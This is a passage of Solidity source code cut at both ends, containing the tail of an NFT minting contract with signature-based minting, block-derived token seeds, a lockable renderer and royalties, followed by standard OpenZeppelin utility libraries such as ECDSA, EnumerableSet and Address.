} /** @notice Already-redeemed signed-minting messages. */ mapping(bytes32 => bool) public usedMessages; /** @notice Mint as a holder of a signature; most likely from the allow list. */ function mintWithSignature( uint256 n, uint256 price, bytes32 nonce, bytes calldata signature ) external payable { signers.requireValidSignature( abi.encodePacked(msg.sender, n, price, nonce), signature, usedMessages ); _purchase(msg.sender, n, price); } /** @notice Partially fulfills the ERC721Enumerable interface. */ Monotonic.Increaser public totalSupply; /** @notice The per-token seeds used to generate images. */ mapping(uint256 => bytes32) public seeds; /** @notice Override of the Seller purchasing logic to mint the required number of tokens. The freeOfCharge boolean flag is deliberately ignored. */ function _handlePurchase( address to, uint256 n, bool ) internal override { uint256 nextId = totalSupply.current(); uint256 end = nextId + n; // These are close enough to unpredictable / uncontrollable to be // sufficiently random for our purpose. Only a miner could really // influence this. bytes memory entropyBase = abi.encodePacked( address(this), block.coinbase, block.number, to ); for (; nextId < end; ++nextId) { _safeMint(to, nextId); seeds[nextId] = keccak256(abi.encodePacked(entropyBase, nextId)); } totalSupply.add(n); } /** @notice Flag to disable use of renewSeed(). */ bool public seedsLocked = false; /** @notice Permanently sets the seed-lock flag to true. */ function lockSeeds() external onlyOwner { seedsLocked = true; } /** @notice Some seeds would result in execution errors and although this behaviour has not been seen recently, renewSeed() recalculates a seed by hashing the old one. This is a protective mechanism to guarantee that no tokens are invalid. Once all tokens are rendered, the irreversible seed lock will be put in place. */ function renewSeed(uint256 tokenId) external tokenExists(tokenId) onlyOwner { require(!seedsLocked, "Seeds locked"); seeds[tokenId] = keccak256(abi.encodePacked(seeds[tokenId])); } /** @notice Contract responsible for rendering images and token metadata from seeds. */ IKissRenderer public renderer; /** @notice Flag to disable use of setRenderer(). */ bool public rendererLocked = false; /** @notice Permanently sets the renderer-lock flag to true. */ function lockRenderer() external onlyOwner { require( address(renderer).supportsInterface( type(IKissRenderer).interfaceId ), "Not IKissRenderer" ); rendererLocked = true; } /** @notice Sets the address of the rendering contract. @dev No checks are performed when setting, but lockRenderer() ensures that the final address implements the IKissRenderer interface. */ function setRenderer(address _renderer) public onlyOwner { require(!rendererLocked, "Renderer locked"); renderer = IKissRenderer(_renderer); } /** @notice Returns the data-encoded token URI containing full metadata and image. */ function tokenURI(uint256 tokenId) public view override tokenExists(tokenId) returns (string memory) { require(address(renderer) != address(0), "No renderer"); return renderer.tokenURI(tokenId, seeds[tokenId]); } /** @notice Defines royalty proportion in hundredths of a percent. */ uint256 public royaltyBasisPoints = 1000; uint256 private constant BASIS_POINT_DENOMINATOR = 100 * 100; /** @notice Sets royalty proportion. @param basisPoints Measured in hundredths of a percent; 1% = 100; 1.5% = 150; etc. */ function setRoyalties(uint256 basisPoints) external onlyOwner { require(basisPoints <= BASIS_POINT_DENOMINATOR, ">100%"); royaltyBasisPoints = basisPoints; } /** @notice Implements ERC2981, always returning the sales beneficiary as the receiver. */ function royaltyInfo(uint256, uint256 salePrice) external view override returns (address, uint256) { // Probably safe to assume that salePrice will be less than max(uint256)/10000 ;) return ( Seller.beneficiary, (salePrice * royaltyBasisPoints) / BASIS_POINT_DENOMINATOR ); } /** @notice Adds ERC2981 interface to the set of already-supported interfaces. */ function supportsInterface(bytes4 interfaceId) public view override(ERC721Common, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface IPublicMintable { function mintPublic(address to, uint256 n) external payable; } // SPDX-License-Identifier: UNLICENSED // Copyright 2022 Arran Schlosberg pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/interfaces/IERC165.sol"; interface IKissRenderer is IERC165 { /** @notice Returns an image for an arbitrary seed. */ function draw(bytes32 seed) external pure returns (string memory); /** @notice Returns an image for an arbitrary string, which should be hashed and propagated to draw(bytes32). */ function draw(string memory seed) external pure returns (string memory); /** @notice Returns a full token JSON metadata object, with image, as a data URI. */ function tokenURI(uint256 tokenId, bytes32 seed) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function 